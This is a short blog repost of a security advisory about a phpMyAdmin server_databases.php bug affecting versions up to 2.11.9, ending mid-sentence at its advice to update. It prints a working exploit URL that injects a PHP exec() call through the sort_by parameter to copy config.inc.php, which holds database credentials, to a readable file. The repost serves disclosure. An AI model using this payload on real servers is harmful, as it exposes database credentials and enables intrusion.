Phpmyadmin‘s server_databases.php bug

最新推荐文章于 2024-06-20 20:40:05 发布

原创最新推荐文章于 2024-06-20 20:40:05 发布 · 394 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#phpmyadmin #server #token

Web Security 专栏收录该内容

1 篇文章

订阅专栏

本文披露了一个影响多个phpMyAdmin版本的安全漏洞，攻击者可能通过特定请求获取敏感信息。受影响版本包括2.11.9及更早版本。建议用户尽快升级到最新版本以避免潜在风险。

Phpmyadmin‘s server_databases.php bug

http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by=”])
OR exec(‘cp $(pwd)”/config.inc.php” config.txt’); //&sort_order=desc&token=[valid token]
some one may attact u by this method.
These phpmyadmin version will be influenced:
phpMyAdmin 2.11.9
phpMyAdmin 2.11.8
phpMyAdmin 2.11.7
phpMyAdmin 2.11.5 1
phpMyAdmin 2.11.5
phpMyAdmin 2.11.4
phpMyAdmin 2.11.1
phpMyAdmin 2.9.1
phpMyAdmin 2.9.2-rc1
phpMyAdmin 2.9.1.1
phpMyAdmin 2.11.8.1
phpMyAdmin 2.11.5.2
phpMyAdmin 2.11.2.2
phpMyAdmin 2.11.2.1
phpMyAdmin 2.11.1.2
phpMyAdmin 2.11.1.1
phpMyAdmin 2.10.0.2
phpMyAdmin 2.10.0.1
phpMyAdmin 2.10.0.1
So to deal with this you’d better update your phpmyadmin to